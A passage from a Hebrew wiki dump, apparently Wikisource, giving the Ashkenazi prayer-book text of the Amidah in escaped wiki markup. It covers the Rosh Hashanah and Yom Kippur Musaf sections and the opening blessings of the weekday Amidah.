וְ}}יִשְׂרָאֵל וְיוֹם הַכִּפֻּרִים. &lt;קטע סוף=מחול2/&gt;&lt;קטע סוף=מחול/&gt;

===מוסף ראש השנה===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו}}&lt;/noinclude&gt;

&lt;קטע התחלה=ותתן-ר&quot;ה1/&gt;&lt;קטע התחלה=ותתן-ר&quot;ה2/&gt;וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה אֶת יוֹם &lt;קטע סוף=ותתן-ר&quot;ה2/&gt;{{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְאֶת יוֹם}} &lt;קטע התחלה=ותתן-ר&quot;ה2/&gt;הַזִּכָּרוֹן הַזֶּה, &lt;קטע סוף=ותתן-ר&quot;ה2/&gt;{{הור|בחול:}} &lt;קטע התחלה=ותתן-ר&quot;ה2/&gt;יוֹם תְּרוּעָה, &lt;קטע סוף=ותתן-ר&quot;ה2/&gt;{{הור1|בשבת|זִכְרוֹן תְּרוּעָה, בְּאַהֲבָה,}} &lt;קטע התחלה=ותתן-ר&quot;ה2/&gt;מִקְרָא קֹדֶשׁ זֵכֶר לִיצִיאַת מִצְרָיִם.&lt;קטע סוף=ותתן-ר&quot;ה2/&gt;&lt;קטע סוף=ותתן-ר&quot;ה1/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ומפני}}&lt;/noinclude&gt;

וְאֶת מוּסְפֵי יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְיוֹם}} הַזִּכָּרוֹן הַזֶּה נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר:

&lt;קטע התחלה=פסוקים ראש השנה/&gt;וּבַחֹדֶשׁ הַשְּׁבִיעִי בְּאֶחָד לַחֹדֶשׁ, מִקְרָא קֹדֶשׁ יִהְיֶה לָכֶם, כָּל מְלֶאכֶת עֲבֹדָה לֹא תַעֲשׂוּ, יוֹם תְּרוּעָה יִהְיֶה לָכֶם׃ וַעֲשִׂיתֶם עֹלָה לְרֵיחַ נִיחֹחַ לַייָ, פַּר בֶּן בָּקָר אֶחָד, אַיִל אֶחָד, כְּבָשִׂים בְּנֵי שָׁנָה שִׁבְעָה תְּמִימִם׃{{ממס|במדבר כט|במדבר כט א-ב}} 

וּמִנְחָתָם וְנִסְכֵּיהֶם כִּמְדֻבָּר, שְׁלשָׁה עֶשְׂרֹנִים לַפָּר, וּשְׁנֵי עֶשְׂרוֹנִים לָאָיִל, וְעִשָּׂרוֹן לַכֶּבֶשׂ, וְיַיִן כְּנִסְכּוֹ, וּשְׁנֵי שְׂעִירִים לְכַפֵּר, וּשְׁנֵי תְמִידִים כְּהִלְכָתָם.

מִלְּבַד עֹלַת הַחֹדֶשׁ וּמִנְחָתָהּ וְעֹלַת הַתָּמִיד וּמִנְחָתָהּ, וְנִסְכֵּיהֶם כְּמִשְׁפָּטָם, לְרֵיחַ נִיחֹחַ אִשֶּׁה לַייָ׃{{ממס|במדבר כט ו|שם פסוק ו}}&lt;קטע סוף=פסוקים ראש השנה/&gt;&lt;קטע התחלה=מלכויות כ/&gt;
====מלכויות====
&lt;קטע סוף=מלכויות כ/&gt;{{#קטע:סידור/נוסח אשכנז/עלינו לשבח|עלינו}}

&lt;קטע התחלה=מלכויות א/&gt;{{#קטע:סידור/נוסח אשכנז/עלינו לשבח|על כן}}{{ש}}&lt;קטע סוף=מלכויות א/&gt;
&lt;קטע התחלה=מלכויות פס/&gt;כַּכָּתוּב בְּתוֹרָתֶךָ: יְיָ יִמְלֹךְ לְעֹלָם וָעֶד׃{{ממס|שמות טו יח}}{{ש}}
וְנֶאֱמַר: לֹא הִבִּיט אָוֶן בְּיַעֲקֹב, וְלֹא רָאָה עָמָל בְּיִשְׂרָאֵל, יְיָ אֱלֹהָיו עִמּוֹ, וּתְרוּעַת מֶלֶךְ בּוֹ׃{{ממס|במדבר כג כא}}{{ש}}
וְנֶאֱמַר: וַיְהִי בִישֻׁרוּן מֶלֶךְ, בְּהִתְאַסֵּף רָאשֵׁי, עָם יַחַד שִׁבְטֵי יִשְׂרָאֵל׃{{ממס|דברים לג ה}}

וּבְדִבְרֵי קָדְשְׁךָ כָּתוּב לֵאמֹר:{{ש}}
כִּי לַייָ הַמְּלוּכָה וּמֹשֵׁל בַּגּוֹיִם׃{{ממס|תהלים כב כט}}{{ש}}
וְנֶאֱמַר: יְיָ מָלָךְ גֵּאוּת לָבֵשׁ, לָבֵשׁ יְיָ עֹז הִתְאַזָּר, אַף תִּכּוֹן תֵּבֵל בַּל תִּמּוֹט׃{{ממס|תהלים צג א}}{{ש}}
וְנֶאֱמַר: שְׂאוּ שְׁעָרִים רָאשֵׁיכֶם, וְהִנָּשְׂאוּ פִּתְחֵי עוֹלָם, וְיָבוֹא מֶלֶךְ הַכָּבוֹד׃ מִי זֶה מֶלֶךְ הַכָּבוֹד, יְיָ עִזּוּז וְגִבּוֹר, יְיָ גִּבּוֹר מִלְחָמָה׃ שְׂאוּ שְׁעָרִים רָאשֵׁיכֶם, וּשְׂאוּ פִּתְחֵי עוֹלָם, וְיָבֹא מֶלֶךְ הַכָּבוֹד׃ מִי הוּא זֶה מֶלֶךְ הַכָּבוֹד, יְיָ צְבָאוֹת הוּא מֶלֶךְ הַכָּבוֹד סֶלָה׃{{ממס|תהלים כד#כד ז|תהלים כד ז-י}}

וְעַל יְדֵי עֲבָדֶיךָ הַנְּבִיאִים כָּתוּב לֵאמֹר:{{ש}}
כֹּה אָמַר יְיָ מֶלֶךְ יִשְׂרָאֵל וְגֹאֲלוֹ יְיָ צְבָאוֹת, אֲנִי רִאשׁוֹן וַאֲנִי אַחֲרוֹן, וּמִבַּלְעָדַי אֵין אֱלֹהִים׃{{ממס|ישעיהו מד ו}}{{ש}}
וְנֶאֱמַר: וְעָלוּ מוֹשִׁעִים בְּהַר צִיּוֹן לִשְׁפֹּט אֶת הַר עֵשָׂו, וְהָיְתָה לַייָ הַמְּלוּכָה׃{{ממס|עובדיה א כא}}{{ש}}
וְנֶאֱמַר: וְהָיָה יְיָ לְמֶלֶךְ עַל כָּל הָאָרֶץ, בַּיּוֹם הַהוּא יִהְיֶה יְיָ אֶחָד וּשְׁמוֹ אֶחָד׃{{ממס|זכריה יד ט}}

וּבְתוֹרָתְךָ כָּתוּב לֵאמֹר:{{ש}}
שְׁמַע יִשְׂרָאֵל, יְיָ אֱלֹהֵינוּ יְיָ אֶחָד׃{{ממס|דברים ו ד}}&lt;קטע סוף=מלכויות פס/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|מלוך}}&lt;/noinclude&gt;&lt;קטע התחלה=זכרונות כ/&gt;
====זכרונות====
&lt;קטע סוף=זכרונות כ/&gt;&lt;קטע התחלה=זכרונות א/&gt;אַתָּה זוֹכֵר מַעֲשֵׂה עוֹלָם, וּפוֹקֵד כָּל יְצוּרֵי קֶדֶם. לְפָנֶיךָ נִגְלוּ כָּל תַּעֲלוּמוֹת, וַהֲמוֹן נִסְתָּרוֹת שֶׁמִּבְּרֵאשִׁית. כִּי אֵין שִׁכְחָה לִפְנֵי כִסֵּא כְבוֹדֶךָ, וְאֵין נִסְתָּר מִנֶּגֶד עֵינֶיךָ. אַתָּה זוֹכֵר אֶת כָּל הַמִּפְעָל, וְגַם כָּל הַיְצוּר לֹא נִכְחָד מִמֶּךָּ. הַכֹּל גָּלוּי וְיָדוּעַ לְפָנֶיךָ יְיָ אֱלֹהֵינוּ, צוֹפֶה וּמַבִּיט עַד סוֹף כָּל הַדּוֹרוֹת. כִּי תָבִיא חֹק זִכָּרוֹן לְהִפָּקֵד כָּל רוּחַ וָנָפֶשׁ, לְהִזָּכֵר מַעֲשִׂים רַבִּים, וַהֲמוֹן בְּרִיּוֹת לְאֵין תַּכְלִית. מֵרֵאשִׁית כָּזֹאת הוֹדָעְתָּ, וּמִלְּפָנִים אוֹתָהּ גִּלִּיתָ. זֶה הַיּוֹם תְּחִלַּת מַעֲשֶׂיךָ, זִכָּרוֹן לְיוֹם רִאשׁוֹן. כִּי חֹק לְיִשְׂרָאֵל הוּא, מִשְׁפָּט לֵאלֹהֵי יַעֲקֹב.{{ממס|תהלים פא ה}} וְעַל הַמְּדִינוֹת בּוֹ יֵאָמֵר, אֵי זוֹ לַחֶרֶב וְאֵי זוֹ לַשָּׁלוֹם, אֵי זוֹ לָרָעָב וְאֵי זוֹ לַשֹּׂבַע. וּבְרִיּוֹת בּוֹ יִפָּקֵדוּ לְהַזְכִּירָם לַחַיִּים וְלַמָּוֶת. מִי לֹא נִפְקָד כְּהַיּוֹם הַזֶּה. כִּי זֵכֶר כָּל הַיְצוּר לְפָנֶיךָ בָּא, מַעֲשֵׂה אִישׁ וּפְקֻדָּתוֹ, וַעֲלִילוֹת מִצְעֲדֵי גָבֶר, מַחְשְׁבוֹת אָדָם וְתַחְבּוּלוֹתָיו, וְיִצְרֵי מַעַלְלֵי אִישׁ. אַשְׁרֵי אִישׁ שֶׁלֹּא יִשְׁכָּחֶךָּ, וּבֶן אָדָם יִתְאַמֶּץ בָּךְ. כִּי דֹרְשֶׁיךָ לְעוֹלָם לֹא יִכָּשֵׁלוּ, וְלֹא יִכָּלְמוּ לָנֶצַח כָּל הַחוֹסִים בָּךְ. כִּי זֵכֶר כָּל הַמַּעֲשִׂים לְפָנֶיךָ בָּא, וְאַתָּה דוֹרֵשׁ מַעֲשֵׂה כֻלָּם. &lt;קטע סוף=זכרונות א/&gt;&lt;קטע התחלה=זכרונות פס/&gt;וְגַם אֶת נֹחַ בְּאַהֲבָה זָכַרְתָּ, וַתִּפְקְדֵהוּ בִּדְבַר יְשׁוּעָה וְרַחֲמִים, בַּהֲבִיאֲךָ אֶת מֵי הַמַּבּוּל לְשַׁחֵת כָּל בָּשָׂר מִפְּנֵי רעַ מַעַלְלֵיהֶם. עַל כֵּן זִכְרוֹנוֹ בָּא לְפָנֶיךָ יְיָ אֱלֹהֵינוּ, לְהַרְבּוֹת זַרְעוֹ כְּעַפְרוֹת תֵּבֵל, וְצֶאֱצָאָיו כְּחוֹל הַיָּם. 

כַּכָּתוּב בְּתוֹרָתֶךָ: וַיִּזְכֹּר אֱלֹהִים אֶת נֹחַ, וְאֵת כָּל הַחַיָּה וְאֶת כָּל הַבְּהֵמָה אֲשֶׁר אִתּוֹ בַּתֵּבָה, וַיַּעֲבֵר אֱלֹהִים רוּחַ עַל הָאָרֶץ, וַיָּשֹׁכּוּ הַמָּיִם׃{{ממס|בראשית ח א}}{{ש}}
וְנֶאֱמַר: וַיִּשְׁמַע אֱלֹהִים אֶת נַאֲקָתָם, וַיִּזְכֹּר אֱלֹהִים אֶת בְּרִיתוֹ אֶת אַבְרָהָם אֶת יִצְחָק וְאֶת יַעֲקֹב׃{{ממס|שמות ב כד}}{{ש}}
וְנֶאֱמַר: וְזָכַרְתִּי אֶת בְּרִיתִי יַעֲקוֹב, וְאַף אֶת בְּרִיתִי יִצְחָק, וְאַף אֶת בְּרִיתִי אַבְרָהָם אֶזְכֹּר, וְהָאָרֶץ אֶזְכֹּר׃{{ממס|ויקרא כו מב}}

וּבְדִבְרֵי קָדְשְׁךָ כָּתוּב לֵאמֹר:{{ש}}
זֵכֶר עָשָׂה לְנִפְלְאֹתָיו, חַנּוּן וְרַחוּם יְיָ׃{{ממס|תהלים קיא ד}}{{ש}}
וְנֶאֱמַר: טֶרֶף נָתַן לִירֵאָיו, יִזְכֹּר לְעוֹלָם בְּרִיתוֹ׃{{ממס|תהלים קיא ה|שם פסוק ה}}{{ש}}
וְנֶאֱמַר: וַיִּזְכֹּר לָהֶם בְּרִיתוֹ, וַיִּנָּחֵם כְּרֹב חֲסָדָו׃{{ממס|תהלים קו מה}}

וְעַל יְדֵי עֲבָדֶיךָ הַנְּבִיאִים כָּתוּב לֵאמֹר:{{ש}}
הָלֹךְ וְקָרָאתָ בְאָזְנֵי יְרוּשָׁלַיִם לֵאמֹר, כֹּה אָמַר יְיָ, זָכַרְתִּי לָךְ חֶסֶד נְעוּרַיִךְ, אַהֲבַת כְּלוּלֹתָיִךְ, לֶכְתֵּךְ אַחֲרַי בַּמִּדְבָּר, בְּאֶרֶץ לֹא זְרוּעָה׃{{ממס|ירמיהו ב ב}}{{ש}}
וְנֶאֱמַר: וְזָכַרְתִּי אֲנִי אֶת בְּרִיתִי אוֹתָךְ בִּימֵי נְעוּרָיִךְ, וַהֲקִמוֹתִי לָךְ בְּרִית עוֹלָם׃{{ממס|יחזקאל טז ס}}{{ש}}
וְנֶאֱמַר: הֲבֵן יַקִּיר לִי אֶפְרַיִם, אִם יֶלֶד שַׁעֲשֻׁעִים, כִּי מִדֵּי דַבְּרִי בּוֹ זָכֹר אֶזְכְּרֶנּוּ עוֹד, עַל כֵּן הָמוּ מֵעַי לוֹ, רַחֵם אֲרַחֲמֶנּוּ נְאֻם יְיָ׃{{ממס|ירמיהו לא יט}}

&lt;קטע סוף=זכרונות פס/&gt;&lt;קטע התחלה=זכרונות ב/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, זָכְרֵנוּ בְּזִכָּרוֹן טוֹב לְפָנֶיךָ, וּפָקְדֵנוּ בִּפְקֻדַּת יְשׁוּעָה וְרַחֲמִים מִשְּׁמֵי שְׁמֵי קֶדֶם, וּזְכָר לָנוּ יְיָ אֱלֹהֵינוּ אֶת הַבְּרִית וְאֶת הַחֶסֶד וְאֶת הַשְּׁבוּעָה אֲשֶׁר נִשְׁבַּעְתָּ לְאַבְרָהָם אָבִינוּ בְּהַר הַמּוֹרִיָּה, וְתֵרָאֶה לְפָנֶיךָ עֲקֵדָה שֶׁעָקַד אַבְרָהָם אָבִינוּ אֶת יִצְחָק בְּנוֹ עַל גַּבֵּי הַמִּזְבֵּחַ, וְכָבַשׁ רַחֲמָיו לַעֲשׂוֹת רְצוֹנְךָ בְּלֵבָב שָׁלֵם, כֵּן יִכְבְּשׁוּ רַחֲמֶיךָ אֶת כַּעַסְךָ מֵעָלֵינוּ, וּבְטוּבְךָ הַגָּדוֹל יָשׁוּב חֲרוֹן אַפְּךָ מֵעַמְּךָ וּמֵעִירְךָ וּמֵאַרְצְךָ וּמִנַּחֲלָתֶךָ. וְקַיֶּם לָנוּ יְיָ אֱלֹהֵינוּ אֶת הַדָּבָר שֶׁהִבְטַחְתָּנוּ בְּתוֹרָתֶךָ עַל יְדֵי משֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: וְזָכַרְתִּי לָהֶם בְּרִית רִאשֹׁנִים, אֲשֶׁר הוֹצֵאתִי אֹתָם מֵאֶרֶץ מִצְרַיִם לְעֵינֵי הַגּוֹיִם לִהְיוֹת לָהֶם לֵאלֹהִים, אֲנִי יְיָ׃{{ממס|ויקרא כו מה}} כִּי זוֹכֵר כָּל הַנִּשְׁכָּחוֹת אַתָּה הוּא מֵעוֹלָם, וְאֵין שִׁכְחָה לִפְנֵי כִסֵּא כְבוֹדֶךָ. וַעֲקֵדַת יִצְחָק לְזַרְעוֹ (שֶׁל יַעֲקֹב) הַיּוֹם בְּרַחֲמִים תִּזְכֹּר. בָּרוּךְ אַתָּה יְיָ, זוֹכֵר הַבְּרִית. &lt;קטע סוף=זכרונות ב/&gt;&lt;קטע התחלה=שופרות כ/&gt;
====שופרות====
&lt;קטע סוף=שופרות כ/&gt;&lt;קטע התחלה=שופרות א/&gt;אַתָּה נִגְלֵיתָ בַּעֲנַן כְּבוֹדְךָ עַל עַם קָדְשְׁךָ לְדַבֵּר עִמָּם. מִן הַשָּׁמַיִם הִשְׁמַעְתָּם קוֹלֶךָ, וְנִגְלֵיתָ עֲלֵיהֶם בְּעַרְפְּלֵי טֹהַר. גַּם כָּל הָעוֹלָם כֻּלּוֹ חָל מִפָּנֶיךָ, וּבְרִיּוֹת בְּרֵאשִׁית חָרְדוּ מִמֶּךָּ, בְּהִגָּלוֹתְךָ מַלְכֵּנוּ עַל הַר סִינַי, לְלַמֵּד לְעַמְּךָ תּוֹרָה וּמִצְוֹת. וַתַּשְׁמִיעֵם אֶת הוֹד קוֹלֶךָ, וְדִבְּרוֹת קָדְשְׁךָ מִלַּהֲבוֹת אֵשׁ. בְּקוֹלוֹת וּבְרָקִים עֲלֵיהֶם נִגְלֵיתָ, וּבְקוֹל שׁוֹפָר עֲלֵיהֶם הוֹפָעְתָּ.

&lt;קטע סוף=שופרות א/&gt;&lt;קטע התחלה=שופרות פס/&gt;כַּכָּתוּב בְּתוֹרָתֶךָ: וַיְהִי בַיּוֹם הַשְּׁלִישִׁי בִּהְיֹת הַבֹּקֶר, וַיְהִי קֹלֹת וּבְרָקִים וְעָנָן כָּבֵד עַל הָהָר וְקֹל שֹׁפָר חָזָק מְאֹד, וַיֶּחֱרַד כָּל הָעָם אֲשֶׁר בַּמַּחֲנֶה׃{{ממס|שמות יט טז}}{{ש}}
וְנֶאֱמַר: וַיְהִי קוֹל הַשֹּׁפָר הוֹלֵךְ וְחָזֵק מְאֹד, מֹשֶׁה יְדַבֵּר, וְהָאֱלֹהִים יַעֲנֶנּוּ בְקוֹל׃{{ממס|שמות יט יט|שם פסוק יט}}{{ש}}
וְנֶאֱמַר: וְכָל הָעָם רֹאִים אֶת הַקּוֹלֹת וְאֶת הַלַּפִּידִם וְאֵת קוֹל הַשֹּׁפָר וְאֶת הָהָר עָשֵׁן, וַיַּרְא הָעָם וַיָּנֻעוּ, וַיַּעַמְדוּ מֵרָחֹק׃{{ממס|שמות כ טו}}

וּבְדִבְרֵי קָדְשְׁךָ כָּתוּב לֵאמֹר:{{ש}}
עָלָה אֱלֹהִים בִּתְרוּעָה, יְיָ בְּקוֹל שׁוֹפָר׃{{ממס|תהלים מז ו}}{{ש}}
וְנֶאֱמַר: בַּחֲצֹצְרוֹת וְקוֹל שׁוֹפָר הָרִיעוּ לִפְנֵי הַמֶּלֶךְ יְיָ׃{{ממס|תהלים צח ו}}{{ש}}
וְנֶאֱמַר: תִּקְעוּ בַחֹדֶשׁ שׁוֹפָר, בַּכֵּסֶה לְיוֹם חַגֵּנוּ׃ כִּי חֹק לְיִשְׂרָאֵל הוּא, מִשְׁפָּט לֵאלֹהֵי יַעֲקֹב׃{{ממס|תהלים פא#פא ד|תהלים פא ד-ה}}{{ש}}
וְנֶאֱמַר: הַלְלוּיָהּ, הַלְלוּ אֵל בְּקָדְשׁוֹ, הַלְלוּהוּ בִּרְקִיעַ עֻזּוֹ׃ הַלְלוּהוּ בִגְבוּרֹתָיו, הַלְלוּהוּ כְּרֹב גֻּדְלוֹ׃ הַלְלוּהוּ בְּתֵקַע שׁוֹפָר, הַלְלוּהוּ בְּנֵבֶל וְכִנּוֹר׃ הַלְלוּהוּ בְּתֹף וּמָחוֹל, הַלְלוּהוּ בְּמִנִּים וְעוּגָב׃ הַלְלוּהוּ בְצִלְצְלֵי שָׁמַע, הַלְלוּהוּ בְּצִלְצְלֵי תְרוּעָה׃ כֹּל הַנְּשָׁמָה תְּהַלֵּל יָהּ, הַלְלוּיָהּ׃{{ממס|תהלים קנ}}

וְעַל יְדֵי עֲבָדֶיךָ הַנְּבִיאִים כָּתוּב לֵאמֹר:{{ש}}
כָּל יֹשְׁבֵי תֵבֵל וְשֹׁכְנֵי אָרֶץ, כִּנְשֹׂא נֵס הָרִים תִּרְאוּ, וְכִתְקֹעַ שׁוֹפָר תִּשְׁמָעוּ׃{{ממס|ישעיהו יח ג}}{{ש}}
וְנֶאֱמַר: וְהָיָה בַּיּוֹם הַהוּא, יִתָּקַע בְּשׁוֹפָר גָּדוֹל, וּבָאוּ הָאֹבְדִים בְּאֶרֶץ אַשּׁוּר, וְהַנִּדָּחִים בְּאֶרֶץ מִצְרָיִם, וְהִשְׁתַּחֲווּ לַייָ בְּהַר הַקֹּדֶשׁ בִּירוּשָׁלָיִם׃{{ממס|ישעיהו כז יג}}{{ש}}
וְנֶאֱמַר: וַייָ עֲלֵיהֶם יֵרָאֶה וְיָצָא כַבָּרָק חִצּוֹ, וַאדֹנָי {{צבע גופן|אפור|יְיִ}} [אֱלֹהִים] בַּשּׁוֹפָר יִתְקָע, וְהָלַךְ בְּסַעֲרוֹת תֵּימָן׃ יְיָ צְבָאוֹת יָגֵן עֲלֵיהֶם.{{ממס|זכריה ט#ט יד|זכריה ט יד-טו}} כֵּן תָּגֵן עַל עַמְּךָ יִשְׂרָאֵל בִּשְׁלוֹמֶךָ.

&lt;קטע סוף=שופרות פס/&gt;&lt;קטע התחלה=שופרות ב/&gt;אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, תְּקַע בְּשׁוֹפָר גָּדוֹל לְחֵרוּתֵנוּ, וְשָׂא נֵס לְקַבֵּץ גָּלֻיּוֹתֵינוּ, וְקָרֵב פְּזוּרֵינוּ מִבֵּין הַגּוֹיִם, וּנְפוּצוֹתֵינוּ כַּנֵּס מִיַּרְכְּתֵי אָרֶץ, וַהֲבִיאֵנוּ לְצִיּוֹן עִירְךָ בְּרִנָּה, וְלִירוּשָׁלַיִם בֵּית מִקְדָּשְׁךָ בְּשִׂמְחַת עוֹלָם, וְשָׁם נַעֲשֶׂה לְפָנֶיךָ אֶת קָרְבְּנוֹת חוֹבוֹתֵינוּ, כִּמְצֻוָּה עָלֵינוּ בְתוֹרָתֶךָ עַל יְדֵי משֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר: וּבְיוֹם שִׂמְחַתְכֶם וּבְמוֹעֲדֵיכֶם וּבְרָאשֵׁי חָדְשֵׁיכֶם, וּתְקַעְתֶּם בַּחֲצֹצְרֹת עַל עֹלֹתֵיכֶם וְעַל זִבְחֵי שַׁלְמֵיכֶם, וְהָיוּ לָכֶם לְזִכָּרוֹן לִפְנֵי אֱלֹהֵיכֶם, אֲנִי יְיָ אֱלֹהֵיכֶם׃{{ממס|במדבר י י}} כִּי אַתָּה שׁוֹמֵעַ קוֹל שׁוֹפָר וּמַאֲזִין תְּרוּעָה וְאֵין דּוֹמֶה לָּךְ. בָּרוּךְ אַתָּה יְיָ, שׁוֹמֵעַ קוֹל תְּרוּעַת עַמּוֹ יִשְׂרָאֵל בְּרַחֲמִים. &lt;קטע סוף=שופרות ב/&gt;

===מוסף יום כיפור===
&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|אתה בחרתנו}}&lt;/noinclude&gt;&lt;קטע התחלה=ותתן לנו כיפור/&gt;וַתִּתֶּן לָנוּ יְיָ אֱלֹהֵינוּ בְּאַהֲבָה אֶת יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְאֶת יוֹם}} הַכִּפֻּרִים הַזֶּה, לִמְחִילָה וְלִסְלִיחָה וּלְכַפָּרָה וְלִמְחָל בּוֹ אֶת כָּל עֲוֹנוֹתֵינוּ, {{הור1|בשבת|בְּאַהֲבָה}} מִקְרָא קֹדֶשׁ זֵכֶר לִיצִיאַת מִצְרָיִם.&lt;קטע סוף=ותתן לנו כיפור/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|ומפני}}&lt;/noinclude&gt;

&lt;קטע התחלה=ואת מוסף כיפור/&gt;וְאֶת {{הור|כשחל בחול:}} מוּסַף {{הור1|בשבת|מוּסְפֵי}} יוֹם {{הור1|בשבת|הַשַּׁבָּת הַזֶּה וְיוֹם}} הַכִּפֻּרִים הַזֶּה נַעֲשֶׂה וְנַקְרִיב לְפָנֶיךָ בְּאַהֲבָה כְּמִצְוַת רְצוֹנֶךָ, כְּמוֹ שֶׁכָּתַבְתָּ עָלֵינוּ בְּתוֹרָתֶךָ עַל יְדֵי מֹשֶׁה עַבְדֶּךָ, מִפִּי כְבוֹדֶךָ, כָּאָמוּר:&lt;קטע סוף=ואת מוסף כיפור/&gt;

&lt;קטע התחלה=פסוקים יום כיפור/&gt;וּבֶעָשׂוֹר לַחֹדֶשׁ הַשְּׁבִיעִי הַזֶּה מִקְרָא קֹדֶשׁ יִהְיֶה לָכֶם, וְעִנִּיתֶם אֶת נַפְשֹׁתֵיכֶם, כָּל מְלָאכָה לֹא תַעֲשׂוּ׃ וְהִקְרַבְתֶּם עֹלָה לַייָ רֵיחַ נִיחֹחַ, פַּר בֶּן בָּקָר אֶחָד, אַיִל אֶחָד, כְּבָשִׂים בְּנֵי שָׁנָה שִׁבְעָה, תְּמִימִם יִהְיוּ לָכֶם׃{{ממס|במדבר כט#כט ז|במדבר כט ז-ח}}

וּמִנְחָתָם וְנִסְכֵּיהֶם כִּמְדֻבָּר, שְׁלשָׁה עֶשְׂרֹנִים לַפָּר, וּשְׁנֵי עֶשְׂרוֹנִים לָאָיִל, וְעִשָּׂרוֹן לַכֶּבֶשׂ, וְיַיִן כְּנִסְכּוֹ, וּשְׁנֵי שְׂעִירִים לְכַפֵּר, וּשְׁנֵי תְמִידִים כְּהִלְכָתָם.&lt;קטע סוף=פסוקים יום כיפור/&gt;

&lt;noinclude&gt;{{#קטע:סידור/נוסח אשכנז/עמידה|מחול}}&lt;/noinclude&gt;

==הערות ושינויי נוסחאות==</text>
      <sha1>cn5bhgf4h1v2pbnkdazs9ibqtn7pkhy</sha1>
    </revision>
    <revision>
      <id>3020696</id>
      <parentid>3020658</parentid>
      <timestamp>2026-06-18T19:43:04Z</timestamp>
      <contributor>
        <username>Yack67</username>
        <id>27395</id>
      </contributor>
      <origin>3020696</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="105436" sha1="dzq8l9ws25v3i3echcy7hbjibrd9ufy" xml:space="preserve">==עמידה לחול==
&lt;קטע התחלה=א כ/&gt;
===אבות===
&lt;קטע סוף=א כ/&gt;&lt;noinclude&gt;{{הור|במנחה:}} &lt;/noinclude&gt;&lt;קטע התחלה=כי שם/&gt;כִּי שֵׁם יְיָ אֶקְרָא, הָבוּ גֹדֶל לֵאלֹהֵינוּ׃{{ממס|דברים לב ג}} &lt;קטע סוף=כי שם/&gt;

&lt;קטע התחלה=אדני/&gt;אֲדֹנָי שְׂפָתַי תִּפְתָּח, וּפִי יַגִּיד תְּהִלָּתֶךָ׃{{ממס|תהלים נא יז}} &lt;קטע סוף=אדני/&gt;

&lt;קטע התחלה=א א/&gt;בָּרוּךְ אַתָּה יְיָ, אֱלֹהֵינוּ וֵאלֹהֵי אֲבוֹתֵינוּ, אֱלֹהֵי אַבְרָהָם, אֱלֹהֵי יִצְחָק וֵאלֹהֵי יַעֲקֹב. הָאֵל הַגָּדוֹל, הַגִּבּוֹר וְהַנּוֹרָא, אֵל עֶלְיוֹן, גּוֹמֵל חֲסָדִים טוֹבִים, וְקוֹנֵה הַכֹּל, וְזוֹכֵר חַסְדֵי אָבוֹת, וּמֵבִיא גוֹאֵל לִבְנֵי בְנֵיהֶם לְמַעַן שְׁמוֹ, בְּאַהֲבָה. &lt;קטע סוף=א א/&gt;
{{רקע אפור}}{{הור|בעשרת ימי תשובה:}}{{ש}}&lt;קטע התחלה=זכרנו/&gt;זָכְרֵנוּ לְחַיִּים, מֶלֶךְ חָפֵץ בַּחַיִּים, וְכָתְבֵנוּ&lt;noinclude&gt; (בנעילה: וְחָתְמֵנוּ)&lt;/noinclude&gt; בְּסֵפֶר הַחַיִּים, לְמַעַנְךָ אֱלֹהִים חַיִּים. &lt;קטע סוף=זכרנו/&gt;{{סוף}}
&lt;קטע התחלה=א מלך/&gt;מֶלֶךְ עוֹזֵר וּמוֹשִׁיעַ וּמָגֵן. &lt;קטע סוף=א מלך/&gt;&lt;קטע התחלה=א ת/&gt;בָּרוּךְ אַתָּה יְיָ, מָגֵן אַבְרָהָם. &lt;קטע סוף=א ת/&gt;&lt;קטע התחלה=ב כ/&gt;

===גבורות===
&lt;קטע סוף=ב כ/&gt;&lt;קטע התחלה=ב א/&gt;אַתָּה גִּבּוֹר לְעוֹלָם, אֲדֹנָי. מְחַיֵּה מֵתִים אַתָּה, רַב לְהוֹשִׁיעַ. &lt;קטע סוף=ב א/&gt;

{{הור|בחורף:}} &lt;קטע התחלה=ב חורף/&gt;מַשִּׁיב הָרוּחַ וּמוֹרִיד הַגָּשֶׁם. &lt;קטע סוף=ב חורף/&gt;&lt;קטע התחלה=ב קיץ/&gt;[&lt;span style=&quot;background-color: #F3F6FB; font-family: narkisim;&quot;&gt;&lt;small&gt;&lt;קטע סוף=ב קיץ/&gt;בקיץ ל&lt;קטע התחלה=ב קיץ/&gt;מנהג א&quot;י:&lt;/small&gt;&lt;/span&gt; מוֹרִיד הַטָּל.] &lt;קטע סוף=ב קיץ/&gt;

&lt;קטע התחלה=ב מכלכל/&gt;מְכַלְכֵּל חַיִּים בְּחֶסֶד, מְחַיֵּה מֵתִים בְּרַחֲמִים רַבִּים, סוֹמֵךְ נוֹפְלִים וְרוֹפֵא חוֹלִים וּמַתִּיר אֲסוּרִים, וּמְקַיֵּם אֱמוּנָתוֹ לִישֵׁנֵי עָפָר. מִי כָמוֹךָ בַּעַל גְּבוּרוֹת, וּמִי דּוֹמֶה לָּךְ, מֶלֶךְ מֵמִית וּמְחַיֶּה וּמַצְמִיחַ יְשׁוּעָה. &lt;קטע סוף=ב מכלכל/&gt;
